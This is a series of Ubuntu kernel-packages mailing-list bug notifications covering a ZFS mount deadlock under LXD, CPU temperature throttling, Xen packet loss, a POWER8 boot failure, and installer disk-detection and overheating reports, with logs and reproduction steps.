Status in zfs-linux source package in Xenial:
  Confirmed
Status in linux source package in Bionic:
  Confirmed
Status in zfs-linux source package in Bionic:
  Fix Committed
Status in linux source package in Cosmic:
  Fix Committed
Status in zfs-linux source package in Cosmic:
  Fix Released

Bug description:
  == SRU Justification, XENIAL, BIONIC ==

  Exercising ZFS with lxd with many mount/umounts can cause lockups and
  120 second timeout messages.

  == How to reproduce bug ==

  In a VM, 2 CPUs, 16GB of memory running Bionic:

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux
  sudo lxd init

  (and with the default init options)

  then run:

  lxd-benchmark launch --count 96 --parallel 96

  This will reliably show the lockup every time without the fix.  With
  the fix (detailed below) one cannot reproduce the lockup.

  == Fix ==

  Upstream ZFS commit

  commit ac09630d8b0bf6c92084a30fdaefd03fd0adbdc1
  Author: Brian Behlendorf 
  Date: Wed Jul 11 15:49:10 2018 -0700

  Fix zpl_mount() deadlock

  == Regression Potential ==

  This just changes the locking in the mount path of ZFS and will only
  affect ZFS mount/unmounts.  The regression potential is small as this
  touches a very small code path that has been exhaustively exercises
  this code under multiple thread/CPU contention and shown not to break.

  --

  ZFS bug report: https://github.com/zfsonlinux/zfs/issues/7691

  "I am using LXD containers that are configured to use a ZFS storage backend.
  I create many containers using a benchmark tool, which probably stresses the 
use of ZFS.
  In two out of four attempts, I got

  [  725.970508] INFO: task lxd:4455 blocked for more than 120 seconds.
  [  725.976730]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  725.983551] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  725.991624] INFO: task txg_sync:4202 blocked for more than 120 seconds.
  [  725.998264]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.005071] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.013313] INFO: task lxd:99919 blocked for more than 120 seconds.
  [  726.019609]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.026418] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.034560] INFO: task zfs:100513 blocked for more than 120 seconds.
  [  726.040936]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.047746] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.055791] INFO: task zfs:100584 blocked for more than 120 seconds.
  [  726.062170]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.068979] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.

  Describe how to reproduce the problem

  Start an Ubuntu 18.04 LTS server.
  Install LXD if not already installed.

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux

  Configure LXD with sudo lxd init. When prompted for the storage
  backend, select ZFS and specify an empty disk.

  $ sudo lxd init
  Would you like to use LXD clustering? (yes/no) [default=no]:
   Do you want to configure a new storage pool? (yes/no) [default=yes]:
   Name of the new storage pool [default=default]:
   Name of the storage backend to use (dir, zfs) [default=zfs]:
   Create a new ZFS pool? (yes/no) [default=yes]:
   Would you like to use an existing block device? (yes/no) [default=no]: yes
   Path to the existing block device: /dev/sdb
   Would you like to connect to a MAAS server? (yes/no) [default=no]:
   Would you like to create a new local network bridge? (yes/no) [default=yes]: 
no
   Would you like to configure LXD to use an existing bridge or host 

[Kernel-packages] [Bug 1781924] Re: Kernel wrong temperature reporting

[benjamin button]

Added version.log

** Attachment added: "version.log"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+attachment/5164179/+files/version.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  New

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781924] Re: Kernel wrong temperature reporting

[benjamin button]

Added lsb_release.log

** Attachment added: "lsb_release.log"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+attachment/5164177/+files/lsb_release.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  New

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781924] Re: Kernel wrong temperature reporting

[benjamin button]

Added linux.log

** Attachment added: "linux.log"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+attachment/5164178/+files/linux.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  New

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781924/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781924] [NEW] Kernel wrong temperature reporting

[benjamin button]

Public bug reported:

I'm having some thermal trouble since I've started using kernel >4.0.x
with my new laptop. According to psensor and sensord, CPU temperature
jumps above the 90C, stays there for around 1second, and goes back to
50C. All transitions happen in around 100ms. I've cleaned and re-applied
thermal paste and checked the connections twice. More interestingly,
this doesn't happen when the CPU is under heavy-load, but when it is
waiting idly. Sometimes sensord reports the CPU temp has gone over the
critical threshold of the CPU and device shuts down itself immediately.

There is also Windows 10 installed as a dual boot and didn't see this
problem on it when idle or under heavy load.

Dmesg output is full of following warnings;

[ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
[ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
[ 1282.297226] CPU4: Core temperature/speed normal
[ 1282.297227] CPU5: Package temperature/speed normal
[ 1282.297228] CPU0: Core temperature/speed normal
[ 1282.297229] CPU1: Package temperature/speed normal
[ 1282.297229] CPU0: Package temperature/speed normal
[ 1282.297230] CPU4: Package temperature/speed normal
[ 1282.297233] CPU3: Package temperature/speed normal
[ 1282.297233] CPU7: Package temperature/speed normal
[ 1282.297269] CPU2: Package temperature/speed normal
[ 1282.297269] CPU6: Package temperature/speed normal

Because of wrong temperature reporting, kernel throttles the CPU and
reduces overall performance, which results in frustrating user
experience.

I've tried followings and find a temporary solution;
 - intel_pstate enabled, turbo-boost enabled > problem exists
 - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
 - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
 - intel_pstate disabled, governor set to powersave > problem frequency reduced

I'm suspicious about a kernel bug such as;
- https://bugzilla.redhat.com/show_bug.cgi?id=924570
- https://bugzilla.redhat.com/show_bug.cgi?id=1317190

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  New

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, 

[Kernel-packages] [Bug 1780761] Re: kernel 4.4.0-130-generic - packet loss with ip forward

[Kseniya Blashchuk]

Installed and tested kernel 4.15.0-24: also affected

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1780761

Title:
  kernel 4.4.0-130-generic - packet loss with ip forward

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Reproduced with 16.04.4 LTS and Citrix Xenserver 7.0, 7.1, 7.4.
  Some packet loss is observed after upgrading to 4.4.0-130-generic when the 
traffic is routed via VM. 

  Steps to reproduce:
  1) Using Citrix Xenserver, set up Ubuntu server VM, upgrade to 
4.4.0-130-generic
  2) Enable IP forwarding
  3) Send any traffic via this VM (for ex. icmp ping)
  4) Packets leaving the VM may not reach the second VM on the same physical 
host or not leave the physical host machine
  5) Packets coming to a physical host machine interface may not reach the 
virtual machine

  Rollback to 4.4.0-128-generic helps.

  A file with tcpdump results and a brief explanation is attached.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-130-generic 4.4.0-130.156
  ProcVersionSignature: Ubuntu 4.4.0-130.156-generic 4.4.134
  Uname: Linux 4.4.0-130-generic x86_64
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Jul  9 11:24 seq
   crw-rw 1 root audio 116, 33 Jul  9 11:24 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay'
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  Date: Mon Jul  9 13:18:47 2018
  InstallationDate: Installed on 2018-06-04 (34 days ago)
  InstallationMedia: Ubuntu-Server 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.8)
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig'
  Lsusb:
   Bus 001 Device 002: ID 0627:0001 Adomax Technology Co., Ltd 
   Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  MachineType: Xen HVM domU
  PciMultimedia:
   
  ProcEnviron:
   LANGUAGE=en_US:en
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 EFI VGA
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-130-generic 
root=UUID=46979d34-98b0-470f-9f1f-29147de9f253 ro ipv6.disable=1 net.ifnames=0 
biosdevname=0
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-130-generic N/A
   linux-backports-modules-4.4.0-130-generic  N/A
   linux-firmware 1.157.19
  RfKill: Error: [Errno 2] No such file or directory: 'rfkill'
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/14/2018
  dmi.bios.vendor: Xen
  dmi.bios.version: 4.7.5-4.4
  dmi.chassis.type: 1
  dmi.chassis.vendor: Xen
  dmi.modalias: 
dmi:bvnXen:bvr4.7.5-4.4:bd06/14/2018:svnXen:pnHVMdomU:pvr4.7.5-4.4:cvnXen:ct1:cvr:
  dmi.product.name: HVM domU
  dmi.product.version: 4.7.5-4.4
  dmi.sys.vendor: Xen

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1780761/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1773162] Re: 4.15.0-22-generic fails to boot on IBM S822LC (POWER8 (raw), altivec supported)

[Manoj Iyer]

** Also affects: debian-installer (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: debian-installer (Ubuntu)
 Assignee: (unassigned) => Canonical Foundations Team 
(canonical-foundations)

** Changed in: debian-installer (Ubuntu Bionic)
 Assignee: (unassigned) => Canonical Foundations Team 
(canonical-foundations)

** Changed in: debian-installer (Ubuntu)
   Importance: Undecided => Critical

** Changed in: debian-installer (Ubuntu Bionic)
   Importance: Undecided => Critical

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1773162

Title:
  4.15.0-22-generic fails to boot on IBM S822LC (POWER8 (raw), altivec
  supported)

Status in The Ubuntu-power-systems project:
  Fix Committed
Status in debian-installer package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Fix Committed
Status in debian-installer source package in Bionic:
  New
Status in linux source package in Bionic:
  Fix Released

Bug description:
  Upgrading from 16.04 to 18.04 on a IBM S822LC the system does not boot
  with 4.15.0-22-generic and is in a reboot cycle.

  ```
  Exiting petitboot. Type 'exit' to return.
  The system is going down NOW!
  Sent SIGTERM to all processes
  Sent SIGKILL to all processes
  [31775213631,3] OPAL: Trying a CPU re-init with flags: 0x1
  [32097001879,3] OPAL: Trying a CPU re-init with flags: 0x2
  [2.660186] Bad kernel stack pointer 7fffcd511100 at c000b9ec
  [2.660382] Oops: Bad kernel stack pointer, sig: 6 [#1]
  [2.660422] LE SMP NR_CPUS=2048 NUMA PowerNV
  [2.660462] Modules linked in:
  [2.660494] CPU: 63 PID: 1201 Comm: modprobe Not tainted 4.15.0-22-generic 
#24-Ubuntu
  [2.660549] NIP:  c000b9ec LR:  CTR: 

  [2.660603] REGS: c0003fd0bd40 TRAP: 0300   Not tainted  
(4.15.0-22-generic)
  [2.660657] MSR:  90001031   CR:   XER: 

  [2.660713] CFAR: c000b934 DAR: 000200f0 DSISR: 4000 
SOFTE: -4611686018408771536 
  [2.660713] GPR00:  7fffcd511100  
 
  [2.660713] GPR04:    
 
  [2.660713] GPR08:    
 
  [2.660713] GPR12: 75501b231700 000200f0  
 
  [2.660713] GPR16:    
 
  [2.660713] GPR20:    
 
  [2.660713] GPR24:    
 
  [2.660713] GPR28:    
 
  [2.661203] NIP [c000b9ec] fast_exception_return+0x9c/0x184
  [2.661249] LR []   (null)
  [2.661285] Call Trace:
  [2.661303] Instruction dump:
  [2.661331] e84101a0 7c4ff120 e8410170 7c5a03a6 e8010070 e8410080 e8610088 
e8810090 
  [2.661387] e8210078 7db243a6 7db142a6 7c0004ac  63ff 
7db242a6 4810 
  [2.661445] ---[ end trace b607b09fe6490607 ]---
  […]
  ```

  Please find the full log attached. Selecting Linux 4.4.0-124-generic
  works.

  ```
  $ uname -a
  Linux flughafenberlinbrandenburgwillybrandt 4.4.0-124-generic #148-Ubuntu SMP 
Wed May 2 13:02:22 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux
  $ dpkg -l linux-image-4.15.0-22-generic
  Desired=Unknown/Install/Remove/Purge/Hold
  | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
  |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
  ||/ Name   Version
Architecture   Description
  
+++-==-==-==-=
  ii  linux-image-4.15.0-22-generic  4.15.0-22.24   
ppc64elSigned kernel image generic
  $ more /etc/os-release 
  NAME="Ubuntu"
  VERSION="18.04 LTS (Bionic Beaver)"
  ID=ubuntu
  ID_LIKE=debian
  PRETTY_NAME="Ubuntu 18.04 LTS"
  VERSION_ID="18.04"
  HOME_URL="https://www.ubuntu.com/;
  SUPPORT_URL="https://help.ubuntu.com/;
  BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/;
  
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy;
  VERSION_CODENAME=bionic
  UBUNTU_CODENAME=bionic
  ```
  --- 
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 May 23 16:40 seq
   crw-rw 1 root audio 116, 33 May 23 16:40 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: ppc64el
  

[Kernel-packages] [Bug 1779815] Re: [Ubuntu 18.04.01][BostonLC][mpt3sas] installer does not detect any LSI based SAS/md raid device

[Manoj Iyer]

** Changed in: debian-installer (Ubuntu)
 Assignee: (unassigned) => Canonical Foundations Team 
(canonical-foundations)

** Changed in: debian-installer (Ubuntu)
   Importance: Undecided => Critical

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779815

Title:
  [Ubuntu 18.04.01][BostonLC][mpt3sas] installer does not detect any LSI
  based SAS/md raid device

Status in The Ubuntu-power-systems project:
  Triaged
Status in debian-installer package in Ubuntu:
  New
Status in linux package in Ubuntu:
  New

Bug description:
  == Comment: #0 - ABDUL HALEEM  - 2018-07-02 03:55:33 ==
  ---Problem Description---
  Ubuntu 18.04.01 ppc64el installer does not detect LSI3008  base SAS disks / 
MD RAID devices 

  Used 20101020ubuntu543 version to install
  
http://ports.ubuntu.com/ubuntu-ports/dists/bionic/main/installer-ppc64el/current/images/netboot/ubuntu-installer/ppc64el/

  Contact Information = abdha...@in.ibm.com 
   
  ---uname output---
  Linux ltc-boston21 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 17:59:00 UTC 
2018 ppc64le ppc64le ppc64le GNU/Linux
   
  Machine Type = BostonLC
   
  ---boot type---
  Network boot
   

  Installer fails to detect the LSI SAS disks / RAID MD device

  ===console error log===

?? [!!] Partition disks ???
? ?
? Note that all data on the disk you select will be erased, but not   ?
? before you have confirmed that you really want to make the changes. ?
? ?
? Select disk to partition:   ?
? ?
? /dev/nvme0n1 - 491.5 GB NVMe Device ?
? /dev/nvme1n1 - 98.3 GB NVMe Device  ?
? ?
??
? ?
???



   moves;  selects;  activates buttons

  
  To make sure it detects the disks I had to 
  
  
  Detect disks-->Guided partitioning--> Guided - use entire disk 

  
?? [!!] Partition disks ???
? ?
? Note that all data on the disk you select will be erased, but not   ?
? before you have confirmed that you really want to make the changes. ?
? ?
? Select disk to partition:   ?
? ?
?  /dev/nvme0n1 - 491.5 GB NVMe Device?
?  /dev/nvme1n1 - 98.3 GB NVMe Device ?
?  SCSI3 (0,0,0) (sda) - 4.0 TB SEAGATE ST4000NM0075  ?
?  SCSI3 (1,0,0) (sdb) - 199.9 GB LSI Logical Volume  ?
?  SCSI3 (0,2,0) (sdc) - 2.0 TB ATA ST2000NM0125-1YZ  ?
? ?
??
? ?
???

  IPR had similar issue reported  #164932 and fixed with 4.15.0-20,
  looks installer need a fix for LSI (mpt3sas) devices too

  == Comment: #2 - SEETEENA THOUFEEK  - 2018-07-03 
02:01:47 ==
  164932 - refers LP1751813

  == Comment: #3 - SEETEENA THOUFEEK  - 2018-07-03 
02:02:51 ==
  Jul  2 08:49:52 anna-install: Installing mdadm-udeb
  Jul  2 08:49:52 disk-detect: No Intel/DDF RAID disks detected.
  Jul  2 08:49:52 anna-install: Installing dmraid-udeb
  Jul  2 08:49:52 disk-detect: No Serial ATA RAID disks detected
  Jul  2 08:49:53 check-missing-firmware: looking at dmesg again, restarting 
from \[  330.659712\]
  Jul  2 08:49:53 check-missing-firmware: timestamp found, truncating dmesg 
accordingly
  Jul  2 08:49:53 check-missing-firmware: saving timestamp for a later use: 
  Jul  2 08:49:53 check-missing-firmware: /dev/.udev/firmware-missing does not 
exist, skipping
  Jul  2 08:49:53 check-missing-firmware: /run/udev/firmware-missing does not 
exist, skipping
  Jul  2 08:49:53 check-missing-firmware: no missing firmware in loaded kernel 
modules
  Jul  2 08:49:53 main-menu[1425]: (process:8933): ERROR: unsupported sector 
size 4096 on /dev/sda.
  

[Kernel-packages] [Bug 1768976] Re: Ubuntu 18.04 is overheating after upgrade from 16.04

[Eugene Minov]

I having the same problem. Laptop Asus N551JX. Intel® Core™ i7-4720HQ CPU @ 
2.60GHz × 8 
Fresh install, tried with and without nvidia drivers, tried to stop thermald, 
didn't help.
/var/log/kern.log keeps reporting of critical cpu package temp or something 
before shootdown...
That feeling like critical halt temp has lowered in kernel.
Returned to 16.04 meanwhile.
Loved 18.04 very much!! Please fix this soon.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1768976

Title:
  Ubuntu 18.04 is overheating after upgrade from 16.04

Status in linux package in Ubuntu:
  Incomplete
Status in xserver-xorg-video-nouveau package in Ubuntu:
  Confirmed

Bug description:
  Ubuntu is overheating at my laptop. Opening youtube on firefox is
  enough for critical temperature shutdown.

  Using lm-sensors for monitoring on 18.04 the temp varies between 70 and 85°C 
with only firefox or chrome open and doing nothing. 
  On my old 16.04 with same using, the temp varies between 55 and 70°C.

  First thought was the driver nouveau is the problem, and finally I was
  able to install by add "nouveau.modeset=0" at livecd boot options,
  without temp shutdown.

  After install I disable the nouveau at modprobe blacklist, but the
  system continues overheating and shutdown with basic usage.

  
  I have no idea what's happening with the bionic at my laptop.

